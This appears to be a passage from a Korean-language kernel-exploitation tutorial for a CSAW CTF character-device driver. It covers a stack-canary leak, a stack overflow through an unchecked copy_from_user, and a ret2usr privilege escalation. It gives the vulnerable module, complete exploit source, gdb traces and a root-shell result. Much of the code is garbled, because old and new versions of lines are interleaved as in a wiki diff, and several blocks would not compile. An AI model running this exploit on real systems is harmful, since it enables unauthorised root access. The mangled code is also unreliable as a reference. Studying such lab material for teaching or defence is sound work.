...
Code Block | ||||
---|---|---|---|---|
| ||||
#include <linux/init.h> #include <linux/module.h> #include <linux/types.h> #include <linux/kernel.h> #include <linux/fs.h> #include <linux/cdev.h> #include <linux/sched.h> #include <linux/device.h> #include <linux/slab.h> #include <asm/current.h> #include <linux/uaccess.h> MODULE_LICENSE("Dual BSD/GPL"); #define DRIVER_NAME "chardev" #define BUFFER_SIZE 64 static const unsigned int MINOR_BASE = 0; static const unsigned int MINOR_NUM = 2; static unsigned int chardev_major; static struct cdev chardev_cdev; static struct class *chardev_class = NULL; static int chardev_release(struct inode *, struct file *); static ssize_t chardev_read(struct file *, char *, size_t, loff_t *); static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *); static loff_t chardev_lseek(struct file *, loff_t, int); struct file_operations chardev_fops = { .release = chardev_release, .read = chardev_read, .write = chardev_write, .llseek = chardev_lseek, }; struct data { unsigned char buffer[BUFFER_SIZE]; }; static int chardev_init(void) { int alloc_ret = 0; int cdev_err = 0; dev_t dev; printk("The chardev_init() function has been called."); alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME); if (alloc_ret != 0) { printk(KERN_ERR "alloc_chrdev_region = %d\n", alloc_ret); return -1; } //Get the major number value in dev. chardev_major = MAJOR(dev); dev = MKDEV(chardev_major, MINOR_BASE); //initialize a cdev structure cdev_init(&chardev_cdev, &chardev_fops); chardev_cdev.owner = THIS_MODULE; //add a char device to the system cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM); if (cdev_err != 0) { printk(KERN_ERR "cdev_add = %d\n", alloc_ret); unregister_chrdev_region(dev, MINOR_NUM); return -1; } chardev_class = class_create(THIS_MODULE, "chardev"); if (IS_ERR(chardev_class)) { printk(KERN_ERR "class_create\n"); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); return -1; } device_create(chardev_class, NULL, MKDEV(chardev_major, MINOR_BASE), NULL, "chardev%d", MINOR_BASE); return 0; } static void chardev_exit(void) { int minor; dev_t dev = MKDEV(chardev_major, MINOR_BASE); printk("The chardev_exit() function has been called."); for (minor = MINOR_BASE; minor < MINOR_BASE + MINOR_NUM; minor++) { device_destroy(chardev_class, MKDEV(chardev_major, minor)); } class_destroy(chardev_class); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); } static int chardev_release(struct inode *inode, struct file *file) { printk("The chardev_release() function has been called."); if (file->private_data) { kfree(file->private_data); file->private_data = NULL; } return 0; } static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) { char data[BUFFER_SIZE]; printk("The chardev_write() function has been called."); printk("Before calling the copy_from_user() function : %p",data); if (_copy_from_user(&data, buf, count) != 0) { return -EFAULT; } /* if (copy_from_user(&data, buf, count) != 0) { return -EFAULT; } if (__copy_from_user(&data, buf, count) != 0) { return -EFAULT; } */ printk("After calling the copy_from_user() function : %p",data); return count; } static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) { char data[BUFFER_SIZE]; printk("The chardev_read() function has been called."); memset(data, 0, sizeof(data)); strcpy(data, "Welcome to the CSAW CTF challenge. Best of luck!\n"); printk("MSG : %s\n",data); printk("f_pos : %lld\n",*f_pos); if (memcpy(buf, data + *f_pos, BUFFER_SIZE) != 0) { return -EFAULT; } return count; } static loff_t chardev_lseek(struct file *file, loff_t offset, int orig) { loff_t new_pos = 0; printk("The device_lseek() function has been called."); switch(orig) { case 0 : /*seek set*/ new_pos = offset; break; case 1 : /*seek cur*/ new_pos = file->f_pos + offset; break; case 2 : /*seek end*/ new_pos = BUFFER_SIZE - offset; break; } if(new_pos > BUFFER_SIZE) new_pos = BUFFER_SIZE; if(new_pos < 0) new_pos = 0; file->f_pos = new_pos; return new_pos; } module_init(chardev_init); module_exit(chardev_exit); |
...
Code Block | ||
---|---|---|
| ||
//gcc -static -o test test.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #define TEXT_LEN 64 int main() { static char buf[128]; int fd; if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } memset (buf, 'A', TEXT_LEN); if (read(fd, buf, TEXT_LEN) < 0){ printf("An error occurred in the read.\n"); }else{ printf("%s\n", buf); } if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
...
Canary 값을 추출하기 위해 다음과 같이 코드를 작성합니다.
lseek() 함수를 이용하여 fd의 포인트 위치로 부터 16 byte 뒤로 이동합니다.
read() 함수를 이용하여 fd 영역의 값을 buf영역에 저장합니다.
memcpy() 함수를 이용하여 "buf+48"영역으로 부터 8 byte를 "canaryval"변수에 복사합니다.
- Canary는 data 변수의 시작 주소로 부터 64byte 떨어져 있고, lseek() 함수를 이용하여 fd의 포인터의 위치를 16byte를 뒤로 이동했기 때문에 "buf"변수에 저장된 Canary의 위치는 "buf+48"가 됩니다.(64 - 16 = 48)
Code Block | ||||
---|---|---|---|---|
| ||||
//gcc -static -o leak leak.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #define TEXT_LEN 64 int main() { static char buf[128]; char canaryval[8]; int fd,i,j; if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); return 0; } lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(canaryval, buf+48,8); size_t canary = ((size_t *)val)[0]; printf("[+]canary is :": %p\n", (void *)canary); for(i if (close(fd) != 0;i < 8;i++){ printf("%02xCannot ",canary[i] & 0xff); } printf("\n"); if (close(fd) != 0){ printf("Cannot close.\n"); close.\n"); } return 0; } |
- Canary가 정상적으로 추출되는지 확인하기 위해 해당 코드를 빌드 후 실행합니다.
- 디버거에서 확인한 Canary의 값은 0x7fc22694 입니다.
...
Code Block | ||||
---|---|---|---|---|
| ||||
//gcc -static -o overflow Overflowoverflow.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #define TEXT_LEN 64 int main() { static char buf[512],; size_t rop[512]; char canaryval[8]; int fd,i,j; if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); printf("%s\n",buf); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(canaryval, buf+48,8); printf("canary is :"); for(i = 0;i < 8;i++) printf("%02x ",canary[i] & 0xffsize_t canary = ((size_t *)val)[0]; printf("[+]canary: %p\n", (void *)canary); int k = 8; memset(&rop[0], 0x41, 64); memcpy(rop+64,canary,8)[k++] = canary; memset(rop+72,'A',8);[k++] = 0x4141414141414141; //AAAAAAAA memset(rop+80,'B',8);[k++] = 0x4242424242424242; //BBBBBBBB memset(rop+88,'C',8);[k++] = 0x4343434343434343; //CCCCCCCC memset(rop+96,'D',8);[k++] = 0x4444444444444444; //DDDDDDDD memset(rop+104,'E',8);[k++] = 0x4545454545454545; //EEEEEEEE memset(rop+112,'F',8);[k++] = 0x4646464646464646; //FFFFFFFF write(fd, rop, 120); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
...
권한 상승에 필요한 함수의 주소는 찾기 위해 사용되는 코드는 01.Stack smashing(32bit) & Return-to-user(ret2usr)- Find the address of a function Findtheaddressofafunction에서 사용한 코드를 그대로 사용합니다.
- 이전 코드와 다른 부분은 ret2usr를 구현하지 않았다는 것입니다.
Code Block | ||
---|---|---|
| ||
//gcc -masm=intel -static -o address address.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <stdint.h> #define TEXT_LEN 64 unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); unsigned long kallsym_getaddr(const char* str) { FILE *stream; char fbuf[256]; char addr[32]; streamvoid *(*prepare_kernel_cred)(void *) ; int (*commit_creds)(void *) ; void *kallsym_getaddr(char *name) { FILE *fp; void *addr; char sym[512]; fp = fopen("/proc/kallsyms", "r"); if(stream < 0) { printf("failed to open /proc/kallsyms\n"); return 0; } memset(fbuf,0x00,sizeof(fbuf)); while(fgets(fbuf,256,stream) != NULL) { char *p = fbuf; char *a = addr; if(strlen(fbuf while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) { if (strcmp(sym, name) == 0) continue; memset(addr,0x00,sizeof(addr)); fbuf[strlen(fbuf)-1] = '\0'; while(*p != ' ') *a++ = *p++; p += 3; if(!strcmp(p,str)) return strtoul(addr, NULL, 16); } return 0 { break; }else{ addr = NULL; } } fclose(fp); return addr; } int main() { static char buf[512],; size_t rop[512]; char canaryval[8]; int fd,i,j; //Find the address of "commit_creds()" commit_creds = kallsym_getaddr("commit_creds"); if(commit_creds == 0) { printf("failed to get commit_creds address\n"); return 0; } printf("commit_creds address is :%p\n",commit_creds); //Find the address of "commit_creds()" prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred"); if(prepare_kernel_cred == 0) { printf("failed to get prepare_kernel_cred address\n"); return 0; } printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); //leak the canary if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); return 0; } lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(canaryval, buf+48,8); printf("size_t canary is :"); = ((size_t *)val)[0]; for(i = 0;i < 8;i++) printf("%02x ",canary[i] & 0xff); printf("[+]canary: %p\n", (void *)canary); int k = 8; memset(&rop[0], 0x41, 64); memcpy(rop+64,canary,8)[k++] = canary; memset(rop+72,'A',8);[k++] = 0x4141414141414141; //AAAAAAAA memset(rop+80,'B',8);[k++] = 0x4242424242424242; //BBBBBBBB memset(rop+88,'C',8);[k++] = 0x4343434343434343; //CCCCCCCC memset(rop+96,'D',8);[k++] = 0x4444444444444444; //DDDDDDDD memset(rop+104,'E',8);[k++] = 0x4545454545454545; //EEEEEEEE memset(rop+112,'F',8); write(fd, rop, 120); [k++] = 0x4646464646464646; //FFFFFFFF write(fd, rop, 104120); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
...
Code Block | ||||
---|---|---|---|---|
| ||||
//gcc -masm=intel -static -o test test.c unsigned long __attribute__((regparm(3))) ... void *(*prepare_kernel_cred)(void *) ; int (*commit_creds)(unsignedvoid long*) cred); unsigned long struct __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); struct trap_frame { void trap_frame { void *user_rip ; ; // instruction pointer uint64_t user_cs ; ; // code segment uint64_t user_rflags ; // CPU flags void *user_rsp ; ; // stack pointer uint64_t user_ss ; ; // stack segment } __attribute__((packed)); struct trap_frame tf; void getShell(void) { execl("/bin/sh", "sh", NULL); } void prepare_tf(void) { asm("mov tf+8, cs;" "pushf; pop tf+16;" "mov tf+24, rsp;" "mov tf+32, ss;" ); tf.user_rip = &getShell ; } void payload(void) { commit_creds(prepare_kernel_cred(0)); asm("mov %%rsp, %0;" "iretq;" : : "r" (&tf)); } ... //Exploit code int k = 8; memset(&rop[0], 0x41, 64); memcpy(rop+64,canary,8)[k++] = canary; memset(rop+72,'A',8)[k++] = 0; memset(rop+80,'B',8); memset(rop+88,'C',8)[k++] = 0; rop[k++] = 0; *(void**)(rop+96)rop[k++] = &(size_t)payload; prepare_tf(); //Overflow write(fd, rop, 1048*k++); ... |
- 추가된 코드를 이용하여 모듈을 디버깅하기 위해 모듈을 새로 등록하고 주소값을 확인합니다.
- 디버깅할 함수는 chardev_write이며, 주소는 0xffffffffc01a10d0 입니다.
...
Code Block | ||
---|---|---|
| ||
Breakpoint 3, 0x00000000004010cf in ?? () (gdb) si 0x00000000004010d4 in ?? () (gdb) i r rax rax 0x6c4e80 7097984 (gdb) i r rax 0x6c4e80 7097984 rbx 0xffffffff8109d760 -2130061472 rcx 0xcd 205 rdx 0xce 206 rsi 0x40 64 rdi 0xffff880008e98dc0 -131941245809216 rbp 0xffff880029fafec0 0xffff880029fafec0 rsp 0xffff880029fafeb0 0xffff880029fafeb0 r8 0xffff880034a2e0f8 -131940512243464 r9 0xffff88003f807c00 -131940329948160 r10 0xffff880023a63560 -131940797237920 r11 0x0 0 r12 0x4242424242424242 4774451407313060418 r13 0x68 104 r14 0xffff880029faff20 -131940691017952 r15 0x0 0 rip 0x4010d4 0x4010d4 eflags 0x246 [ PF ZF IF ] cs 0x10 16 ss 0x18 24 ds 0x0 0 es 0x0 0 fs 0x63 99 gs 0x0 0 (gdb) si 0x00000000004010d7 in ?? () (gdb) i r rax 0x6c4e80 7097984 rbx 0xffffffff8109d760 -2130061472 rcx 0xcd 205 rdx 0xce 206 rsi 0x40 64 rdi 0xffff880008e98dc0 -131941245809216 rbp 0xffff880029fafec0 0xffff880029fafec0 rsp 0xffff880029fafeb0 0xffff880029fafeb0 r8 0xffff880034a2e0f8 -131940512243464 r9 0xffff88003f807c00 -131940329948160 r10 0xffff880023a63560 -131940797237920 r11 0x0 0 r12 0x4242424242424242 4774451407313060418 r13 0x68 104 r14 0xffff880029faff20 -131940691017952 r15 0x0 0 rip 0x4010d7 0x4010d7 eflags 0x246 [ PF ZF IF ] cs 0x10 16 ss 0x18 24 ds 0x0 0 es 0x0 0 fs 0x63 99 gs 0x0 0 (gdb) si 0x00000000004010da in ?? () (gdb) i r rsp rsp 0x6c4e80 0x6c4e80 (gdb) x/i $rip => 0x4010da: iretq (gdb) si 0x000000000040105e in ?? () (gdb) x/10i $rip => 0x40105e: push rbp 0x40105f: mov rbp,rsp 0x401062: mov edx,0x0 0x401067: mov esi,0x494108 0x40106c: mov edi,0x49410b 0x401071: mov eax,0x0 0x401076: call 0x4340f0 0x40107b: pop rbp 0x40107c: ret 0x40107d: push rbp (gdb) c Continuing. |
- 다음과 같이 ret2usr를 이용하여 shell을 획득하게 됩니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ ./test
commit_creds address is :0xffffffff8109d760
prepare_kernel_cred address is :0xffffffff8109da40
53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67 | SAW CTF challeng
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
c3 47 d4 a9 00 00 00 00 a0 2c 6c 00 00 00 00 00 | ?Gԩ?,l
# id
uid=0(root) gid=0(root) groups=0(root)
# |
Exploit code
- 다음과 같이 Exploit code를 완성할 수 있습니다.
Code Block | ||||
---|---|---|---|---|
| ||||
//gcc -masm=intel -static -o exploit exploit.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <stdint.h> #define TEXT_LEN 64 unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned edx,0x0 0x401067: mov esi,0x494108 0x40106c: mov edi,0x49410b 0x401071: mov eax,0x0 0x401076: call 0x4340f0 0x40107b: pop rbp 0x40107c: ret 0x40107d: push rbp (gdb) c Continuing. |
- 다음과 같이 ret2usr를 이용하여 shell을 획득하게 됩니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ ./r2u
commit_creds address is :0xffffffff8109d760
prepare_kernel_cred address is :0xffffffff8109da40
53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67 | SAW CTF challeng
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
c3 47 d4 a9 00 00 00 00 a0 2c 6c 00 00 00 00 00 | ?Gԩ?,l
# id
uid=0(root) gid=0(root) groups=0(root)
# |
Exploit code
- 다음과 같이 Exploit code를 완성할 수 있습니다.
Code Block | ||||
---|---|---|---|---|
| ||||
//gcc -masm=intel -static -o r2u exploit.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <stdint.h> #define TEXT_LEN 64 void *(*prepare_kernel_cred)(void *) ; int (*commit_creds)(void *) ; struct trap_frame { void *user_rip; // instruction pointer uint64_t user_cs; // code segment uint64_t user_rflags; // CPU flags void *user_rsp; // stack pointer uint64_t user_ss; // stack segment } __attribute__((packed)); struct trap_frame tf; void getShell(void) { execl("/bin/sh", "sh", NULL); } void prepare_tf(void) { asm("mov tf+8, cs;"long cred); unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); struct trap_frame { void *user_rip ; // instruction pointer uint64_t user_cs ; // code segment uint64_t user_rflags ; // CPU flags void *user_rsp ; // stack pointer uint64_t user_ss ; // stack segment } __attribute__((packed)); struct trap_frame tf; void getShell(void) { execl("/bin/sh", "sh", NULL); } void prepare_tf(void) { asm("mov tf+8, cs;" "pushf; pop tf+16;" "mov tf+24, rsp;" "mov tf+32, ss;" ); tf.user_rip = &getShell ; } void payload(void) { commit_creds(prepare_kernel_cred(0)); asm("swapgs;" "mov %%rsp, %0;" "iretq;" : : "r" (&tf)); } unsigned long kallsym_getaddr(const char* str) { FILE *stream; char fbuf[256]; char addr[32]; stream = fopen("/proc/kallsyms","r"); if(stream < 0) { printf("failed to open /proc/kallsyms\n"); return 0;"pushf; pop tf+16;" } memset(fbuf,0x00,sizeof(fbuf));"mov tf+24, rsp;" while(fgets(fbuf,256,stream) != NULL)"mov tf+32, ss;" { ); char *p = fbuf; tf.user_rip = &getShell ; } void payload(void) { char *a = addr; commit_creds(prepare_kernel_cred(0)); asm("swapgs;" "mov %%rsp, %0;" if(strlen(fbuf) == 0) "iretq;" : : "r" (&tf)); } void *kallsym_getaddr(char *name) { FILE continue*fp; void *addr; memset(addr,0x00,sizeof(addr))char sym[512]; fbuf[strlen(fbuf)-1] = '\0'fp = fopen("/proc/kallsyms", "r"); while (fscanf(fp, "%p %*c while(*p != ' ')%512s\n", &addr, sym) > 0) { if (strcmp(sym, name) *a++ = *p++; == 0) { p += 3break; if(!strcmp(p,str))}else{ return strtoul(addr, NULL, 16);addr = NULL; } } fclose(fp); return 0addr; } int main() { static char buf[512],; size_t rop[512] = {0}; char canaryval[8]; int fd,i,j; //Find the address of "commit_creds()" commit_creds = kallsym_getaddr("commit_creds"); if(commit_creds == 0) { printf("failed to get commit_creds address\n"); return 0; } printf("commit_creds address is :%p\n",commit_creds); //Find the address of "commit_creds()" prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred"); if(prepare_kernel_cred == 0) { printf("failed to get prepare_kernel_cred address\n"); return 0; } printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); //leak the canary if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); return 0; } lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(canaryval, buf+48,8); printf("canary is :");size_t canary = ((size_t *)val)[0]; for(i = 0;i < 8;i++) printf("%02x ",canary[i] & 0xff[+]canary: %p\n", (void *)canary); int k //Exploit code= 8; memset(&rop[0], 0x41, 64); memcpy(rop+64,canary,8)[k++] = canary; memset(rop+72,'A',8);[k++] = 0x4141414141414141; //AAAAAAAA memset(rop+80,'B',8); memset(rop+88,'C',8);[k++] = 0x4242424242424242; //BBBBBBBB *(void**)(rop+96)rop[k++] = &payload;0x4343434343434343; //CCCCCCCC memset(rop+104,'D',8)[k++] = (size_t)payload; prepare_tf(); //Overflow write(fd, rop, 1048*k++); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
...